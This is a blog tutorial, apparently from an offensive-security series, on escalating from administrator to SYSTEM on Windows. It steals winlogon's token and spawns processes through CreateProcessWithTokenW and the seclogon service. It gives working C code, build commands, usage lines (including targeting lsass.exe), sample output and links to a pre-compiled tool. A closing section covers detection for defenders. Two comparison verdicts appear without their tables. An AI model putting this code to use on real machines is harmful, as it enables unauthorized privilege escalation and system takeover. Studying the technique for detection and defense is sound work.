# The Seclogon Shortcut — Spawning SYSTEM Processes via CreateProcessWithTokenW

*How a built-in Windows service does the dirty work for you — converting Impersonation tokens to Primary tokens behind the scenes, letting you spawn processes as SYSTEM with fewer privileges and less code than any other method.*

* * *

## Previously — The Hard Way

In [Part 1](https://rxnveera.blog/born-with-a-stolen-soul-spawning-processes-with-swapped-identities-via-ntsetinformationprocess), we explored the **Suspended Process Token Swap** — the most evasive token manipulation technique in Windows. We created a clean process, froze it before it executed a single instruction, swapped its identity via the undocumented `NtSetInformationProcess`, and resumed it as SYSTEM. Maximum evasion, but maximum complexity too:

*   Required `SeAssignPrimaryTokenPrivilege` (SYSTEM-only privilege)
    
*   Required manual Primary→Primary token duplication
    
*   Required resolving an undocumented `ntdll.dll` API at runtime
    
*   Required creating a suspended process and managing its lifecycle
    
*   Required understanding `NTSTATUS` error codes
    

What if there was a simpler path? What if Windows itself had a built-in service that could handle the messy token conversion for you?

It does. It's called **Secondary Logon** (`seclogon`), and it's the engine behind `CreateProcessWithTokenW`.

* * *

## The Core Insight — Let Windows Do the Conversion

Recall the fundamental rule from Part 1:

> **A process requires a Primary token. A thread can hold an Impersonation token.**

When you steal a token from another process and duplicate it, you typically get an Impersonation token (or you convert it to one for thread-level impersonation). To spawn a *new process* with that stolen identity, you need a Primary token — because processes only accept Primary tokens at birth.

In technique **B1** (`CreateProcessAsUserW`), you do this conversion manually:

1.  Steal the token
    
2.  Call `DuplicateTokenEx` with `TokenPrimary` to convert Impersonation → Primary
    
3.  Call `CreateProcessAsUserW` with the new Primary token
    
4.  This requires `SeAssignPrimaryTokenPrivilege` — which regular admins don't have
    

In technique **B3** (Suspended Token Swap), you also need a Primary token for the swap — same privilege requirement.

**B2 is different.** `CreateProcessWithTokenW` accepts an **Impersonation token directly**. You don't need to convert it. You don't need `SeAssignPrimaryTokenPrivilege`. The Secondary Logon service (`seclogon`) running under `svchost.exe` receives your Impersonation token, converts it to Primary internally using its own SYSTEM-level privileges, creates the process, and hands you back the result.

```plaintext
  B1 (manual):     Imp Token → YOU convert → Primary Token → CreateProcessAsUserW
                   Requires: SeAssignPrimaryTokenPrivilege ❌ (admin doesn't have it)

  B2 (seclogon):   Imp Token → seclogon converts → Primary Token → Process Created
                   Requires: SeImpersonatePrivilege ✅ (admin has it)

  B3 (swap):       Primary Token → NtSetInformationProcess on suspended process
                   Requires: SeAssignPrimaryTokenPrivilege ❌ (admin doesn't have it)
```

The trade-off is clear: **B2 trades evasion for simplicity**. You need fewer privileges, less code, and no undocumented APIs. But the `seclogon` service interaction is logged, and the token is visible at process creation time.

* * *

![](https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/25d742e9-b9c1-41de-8471-6af79cb0ac92.png align="center")

## What Is the Secondary Logon Service?

The Secondary Logon service (`seclogon`) is a legitimate Windows service that enables the **"Run as different user"** functionality. When you right-click an application and select "Run as different user," or when you use the `runas.exe` command-line tool — that's `seclogon` working behind the scenes.

It runs as `NT AUTHORITY\SYSTEM` under a `svchost.exe` instance, which means it has all the privileges needed to create processes with arbitrary tokens. When `CreateProcessWithTokenW` is called, it doesn't do the work itself — it sends an RPC request to the `seclogon` service, which:

1.  Takes your Impersonation token
    
2.  Internally calls `DuplicateTokenEx` to convert it to a Primary token (using its own SYSTEM privileges)
    
3.  Creates the process with the Primary token via the kernel
    
4.  Returns the process handle back to the caller
    
    ![](https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/7724e4b3-ba18-4b59-9207-6d5cd13e18f4.png align="center")
    

The key insight: **seclogon is already SYSTEM**, so it has `SeAssignPrimaryTokenPrivilege`. You don't need it — seclogon has it for you.

* * *

![](https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/5b79a5a9-78bb-4f74-a620-8289d2a7f9b6.png align="center")

## The Complete Attack Flow

Here's the full chain:

```plaintext
  ┌──────────────────────────────┐
  │ 1. Check seclogon service    │   ← Must be running                                 | |                              |
  └──────────────┬───────────────┘
                 ▼
  ┌──────────────────────────────┐
  │ 2. Enable SeDebugPrivilege   │   ← Required to touch SYSTEM processes                        |
  └──────────────┬───────────────┘
                 ▼
  ┌──────────────────────────────┐
  │ 3. Steal SYSTEM token from   │   ← OpenProcess → OpenProcessToken                 |
  │    winlogon.exe              │
  └──────────────┬───────────────┘
                 ▼
  ┌──────────────────────────────────────┐
  │ 4. DuplicateTokenEx(                 │
  │      TokenType = TokenImpersonation  │   ← Stay as Impersonation!                           |
  │    )                                 │
  └──────────────┬───────────────────────┘
                 ▼
  ┌──────────────────────────────────────────┐
  │ 5. CreateProcessWithTokenW(              │
  │      hImpersonationToken,                │   ← Imp token goes directly                                     |
  │      LOGON_WITH_PROFILE,                 │
  │      "cmd.exe"                           │
  │    )                                     │
  │    → seclogon converts to Primary        │
  │    → New process runs as SYSTEM          │
  └──────────────────────────────────────────┘
```

Compare this to B3's flow — no suspended processes, no `NtSetInformationProcess`, no `NTSTATUS` error handling, no undocumented APIs. Five steps instead of ten.

* * *

![](https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/ae96cc1f-1314-47a5-9fdd-1360c12b7554.png align="center")

## The Code — Walking Through Every Line

> 📁 Full source code: [`seclogon_spawn.c`](https://github.com/veeramani110400/AccessTokenManipulation_CreateProcessWithTokenW)
> 
> 📁 Shared utility header: [`common.h`](https://github.com/veeramani110400/AccessTokenManipulation_CreateProcessWithTokenW)
> 
> 📦 Pre-compiled executable: [`B2_seclogon_spawn.exe`](https://github.com/veeramani110400/AccessTokenManipulation_CreateProcessWithTokenW)

* * *

### Part 1: Checking the seclogon Service

Before we do anything, we check if the Secondary Logon service is running. If it's disabled (a common hardening measure), `CreateProcessWithTokenW` will fail with error code 1058 (`ERROR_SERVICE_DISABLED`).

```c
static BOOL check_seclogon_service(void) {
    SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
    if (!hSCM) {
        print_info("Cannot query SCM — proceeding anyway");
        return TRUE;
    }

    SC_HANDLE hSvc = OpenServiceA(hSCM, "seclogon", SERVICE_QUERY_STATUS);
    if (!hSvc) {
        print_fail_custom("Cannot open seclogon service", GetLastError());
        CloseServiceHandle(hSCM);
        return FALSE;
    }

    SERVICE_STATUS ss;
    BOOL running = FALSE;
    if (QueryServiceStatus(hSvc, &ss)) {
        running = (ss.dwCurrentState == SERVICE_RUNNING);
    }

    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return running;
}
```

We use the Service Control Manager (`OpenSCManagerA`) to connect to the services database, open a handle to the `seclogon` service, and query its current state. If `dwCurrentState` isn't `SERVICE_RUNNING`, we bail out with a helpful error message suggesting alternatives (B1 or manually starting the service with `sc start seclogon`).

This pre-check is important because `CreateProcessWithTokenW` produces a cryptic error code 1058 when seclogon is disabled. Our explicit check gives the operator actionable information immediately.

* * *

### Part 2: Stealing and Duplicating the Token

This part is identical to the other techniques — we steal SYSTEM's token from `winlogon.exe`:

```c
DWORD pid = find_pid_by_name("winlogon.exe");

HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);

HANDLE hStolenPrimary = NULL;
OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hStolenPrimary);
```

But here's where B2 diverges from B1 and B3. When we duplicate the token, we keep it as **Impersonation** — not Primary:

```c
HANDLE hImpToken = NULL;
DuplicateTokenEx(
    hStolenPrimary,           /* Source: winlogon's primary token */
    TOKEN_ALL_ACCESS,         /* Full access on the new token */
    NULL,                     /* Default security attributes */
    SecurityImpersonation,    /* Impersonation level */
    TokenImpersonation,       /* ← STAY AS IMPERSONATION! */
    &hImpToken                /* Receives the new impersonation token */
);
```

In B1, we'd use `TokenPrimary` here. In B3, we'd use `TokenPrimary`. In B2, we explicitly use `TokenImpersonation` because `CreateProcessWithTokenW` is designed to accept Impersonation tokens directly. The seclogon service handles the conversion for us.

This is the fundamental insight of the technique: **skip the conversion step entirely and let the OS service do it with its own elevated privileges.**

* * *

### Part 3: CreateProcessWithTokenW — The Core API

The actual spawn is a single API call:

```c
STARTUPINFOW si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
si.lpDesktop = L"WinSta0\\Default";

DWORD dwCreationFlags = CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT;

CreateProcessWithTokenW(
    hImpToken,            /* hToken — Impersonation token is OK! */
    LOGON_WITH_PROFILE,   /* dwLogonFlags */
    NULL,                 /* lpApplicationName */
    spawn_cmd,            /* lpCommandLine — e.g., L"cmd.exe" */
    dwCreationFlags,      /* dwCreationFlags */
    NULL,                 /* lpEnvironment */
    NULL,                 /* lpCurrentDirectory */
    &si,                  /* lpStartupInfo */
    &pi                   /* lpProcessInformation */
);
```

Let's break down each parameter:

`LOGON_WITH_PROFILE` **vs** `LOGON_NETCREDENTIALS_ONLY`**:**

| Flag | What it does | When to use |
| --- | --- | --- |
| `LOGON_WITH_PROFILE` | Loads the full user profile (HKEY\_CURRENT\_USER, environment, desktop) | Interactive sessions — when you need the process to "feel" like the target user |
| `LOGON_NETCREDENTIALS_ONLY` | Only uses the token's identity for network access | When you just need the stolen identity for network resources but want to keep the local profile as-is |

For most offensive use cases, `LOGON_WITH_PROFILE` is what you want — it creates a fully interactive process under the stolen identity.

* * *

### Part 4: Error Handling — What Goes Wrong

`CreateProcessWithTokenW` has three common failure modes, and our code handles all of them:

```c
if (!CreateProcessWithTokenW(...)) {
    DWORD err = GetLastError();

    switch (err) {
        case 1314:  /* ERROR_PRIVILEGE_NOT_HELD */
            printf("→ SeImpersonatePrivilege not held\n");
            break;
        case 1058:  /* ERROR_SERVICE_DISABLED */
            printf("→ seclogon service is disabled — use B1 instead\n");
            break;
        case 5:     /* ERROR_ACCESS_DENIED */
            printf("→ Access denied — check token access rights\n");
            break;
    }
}
```

## B2 vs B3 — The Honest Comparison

Let's put these two techniques side by side:

### Privilege Requirements

| Privilege | B2 (seclogon) | B3 (NtSetInformationProcess) |
| --- | --- | --- |
| `SeDebugPrivilege` | ✅ Required | ✅ Required |
| `SeImpersonatePrivilege` | ✅ Required | Not needed |
| `SeAssignPrimaryTokenPrivilege` | Not needed | ✅ Required (SYSTEM only!) |
| **Available to regular Admin?** | **Yes** ✅ | **No** ❌ |

**Winner: B2.** A regular admin account can use B2 directly. B3 requires SYSTEM-level privileges, meaning you need to chain it with thread-level impersonation first.

![](https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/2fb0d44c-8ff6-4f03-bab8-dbfde6c96544.png align="center")

**Winner: B3.** The suspended token swap has a fundamentally cleaner forensic trail. The process creation event shows the original identity, and there's no service interaction to log..

**Tie.** Each has a different dependency. B2 depends on an external service (which can be disabled). B3 depends on an undocumented API (which could change between Windows versions, though it hasn't in 20+ years).

## Detection Surface — How Blue Teams Catch B2

B2 is more detectable than B3, but that doesn't mean it's trivial to detect. Here's what to monitor:

### 1\. Secondary Logon Service Events

When `CreateProcessWithTokenW` is called, it generates an RPC interaction with the `seclogon` service. This can be monitored via:

*   **Event ID 4688** (Process Creation) — the new process shows the *stolen* identity, not the caller's identity
    
*   **Service Control events** — interactions with `seclogon` from unexpected processes
    
*   **ETW traces** on the `Microsoft-Windows-Security-Auditing` provider
    

### 2\. Token Type Anomaly

Legitimate uses of `CreateProcessWithTokenW` (like `runas.exe`) follow predictable patterns:

*   `runas.exe` → `seclogon` → new process
    
*   Interactive user → right-click "Run as" → `seclogon` → new process
    

An attacker's chain is different:

*   Random process → `OpenProcessToken` on `winlogon.exe` → `DuplicateTokenEx` → `seclogon` → SYSTEM process
    

The combination of `OpenProcessToken` on a SYSTEM process followed by `CreateProcessWithTokenW` is suspicious.

### 3\. Process Tree Analysis

When B2 spawns a process, the parent PID is the *calling process*, not `seclogon`. So you'll see something like:

```plaintext
  malware.exe (PID 1234) → cmd.exe (PID 5678, running as SYSTEM)
```

A regular admin process spawning a SYSTEM process is always suspicious, regardless of the API used.

### 4\. seclogon Service State Monitoring

Organizations that disable `seclogon` as a hardening measure should monitor for:

*   Attempts to start the service (`sc start seclogon`)
    
*   Registry modifications to the service configuration (`HKLM\SYSTEM\CurrentControlSet\Services\seclogon`)
    
*   Successful `seclogon` starts from non-standard service managers
    

## Building and Running

### Cross-Compile from Linux (MinGW)

```bash
x86_64-w64-mingw32-gcc -O2 -Wall -Wextra \
    -o B2_seclogon_spawn.exe seclogon_spawn.c \
    -ladvapi32 -lkernel32 -luserenv -municode
```

The `-luserenv` library is needed because `LOGON_WITH_PROFILE` triggers user profile loading, which uses APIs from `userenv.dll`. The `-municode` flag is needed for the `wmain` entry point (wide-character argument handling).

> 📦 Or grab the pre-compiled exe directly from the [repository](https://github.com/veeramani110400/AccessTokenManipulation_CreateProcessWithTokenW).

### Usage

```powershell
# Default: steal from winlogon.exe → spawn cmd.exe as SYSTEM
.\B2_seclogon_spawn.exe

# Custom: steal from lsass.exe → spawn powershell as SYSTEM
.\B2_seclogon_spawn.exe lsass.exe "powershell.exe"
```

### Expected Output (When Run as Admin)

```plaintext
  ╔══════════════════════════════════════════════╗
  ║   Access Token Manipulation — PoC Toolkit    ║
  ╚══════════════════════════════════════════════╝

  Technique: B2 — CreateProcessWithTokenW (seclogon shortcut)
  Target:    winlogon.exe
  Spawn:     cmd.exe

[*] Checking if Secondary Logon (seclogon) service is running...
[+] seclogon service is RUNNING — CreateProcessWithTokenW will work

[*] Current process identity:
[+] Running as: DESKTOP\Alice

[*] Enabling SeDebugPrivilege...
[+] SeDebugPrivilege enabled
[*] Enabling SeImpersonatePrivilege...

[*] Finding winlogon.exe...
[+] Found winlogon.exe at PID 612
[+] Stolen primary token acquired
[+] Stolen identity: NT AUTHORITY\SYSTEM

[*] Duplicating token as Impersonation (NO conversion to Primary needed!)...
[+] Token duplicated as TokenImpersonation
[*] Duplicated Token Type: TokenImpersonation
[*] NOTE: No Imp→Primary conversion needed — seclogon handles it internally

[*] Spawning process via CreateProcessWithTokenW...
[*] (seclogon service will convert Impersonation → Primary internally)

  ╔══════════════════════════════════════════════════╗
  ║  PROCESS SPAWNED VIA SECLOGON (Imp token OK!)    ║
  ╚══════════════════════════════════════════════════╝

[+] PID: 3456
[+] Thread ID: 3460
[+] Process running as: NT AUTHORITY\SYSTEM

  B2 vs B1 advantage: No SeAssignPrimaryTokenPrivilege required!
  B2 vs B3 advantage: No undocumented APIs, simpler implementation.
  B2 weakness:        Depends on seclogon service being enabled.
  B2 vs B3 weakness:  Token IS visible in process creation event.

[+] B2 technique complete.
```

Notice the simplicity compared to B3's output — no suspended process, no before/after identity verification, no `NtSetInformationProcess` resolution. The seclogon service handles the messy parts.

## The Bigger Picture — Where B2 Fits

We now have 6 complete token manipulation techniques. Here's the complete map:

| Technique | API | Token Direction | Privilege Bar | Evasion Level | Service Dependency |
| --- | --- | --- | --- | --- | --- |
| **A1** — Steal & Impersonate | `SetThreadToken` | Primary → Imp | Admin | N/A | None |
| **A2** — Privilege Reduction | `AdjustTokenPrivileges` | Primary → Imp | Admin | N/A | None |
| **B1** — `CreateProcessAsUserW` | Direct kernel call | Imp → Primary | **SYSTEM** | 🔴 High visibility | None |
| **B2** — `CreateProcessWithTokenW` *(this blog)* | Via `seclogon` | Imp → (auto) Primary | **Admin** ✅ | 🟡 Medium | seclogon |
| **B3** — Suspended Token Swap | `NtSetInformationProcess` | Primary → Primary | **SYSTEM** | 🟢 Low visibility | None |
| **B4** — `CreateProcessWithLogonW` | Via `seclogon` + creds | Credentials → Primary | **Admin** | 🟡 Medium | seclogon |

B2 sits in the sweet spot: **admin-accessible with reasonable simplicity.** It's not the stealthiest (B3 wins there), and it's not the most portable (B1 wins there), but it's the technique you reach for when you have admin privileges and just need a SYSTEM process spawned quickly.

* * *

## Conclusion

`CreateProcessWithTokenW` via the Secondary Logon service represents the **pragmatic middle ground** in token manipulation. It sacrifices the forensic cleanliness of B3's suspended token swap for a dramatically simpler implementation that works from a regular admin context — no SYSTEM-level privileges required, no undocumented APIs, no manual token type conversion.

The trade-offs are real:

*   **seclogon dependency** — if the service is disabled, the technique fails entirely
    
*   **Visible at creation** — the stolen identity appears in process creation events and EDR callbacks
    
*   **Service interaction logged** — the RPC call to seclogon is observable
    

But in environments where seclogon is running (the default Windows configuration), B2 gives you the fastest path from "admin shell" to "SYSTEM process" with the least amount of code.

**The series so far:**

*   **Part 1 (B3):** [Born With a Stolen Soul — Suspended Process Token Swap via NtSetInformationProcess](https://rxnveera.blog/born-with-a-stolen-soul-spawning-processes-with-swapped-identities-via-ntsetinformationprocess)
    
*   **Part 2 (B2):** The Seclogon Shortcut — CreateProcessWithTokenW *(this blog)*
    

*MITRE ATT&CK References:*

*   [*T1134.002 — Access Token Manipulation: Create Process with Token*](https://attack.mitre.org/techniques/T1134/002/)
    
*   [*T1134.001 — Access Token Manipulation: Token Impersonation/Theft*](https://attack.mitre.org/techniques/T1134/001/)
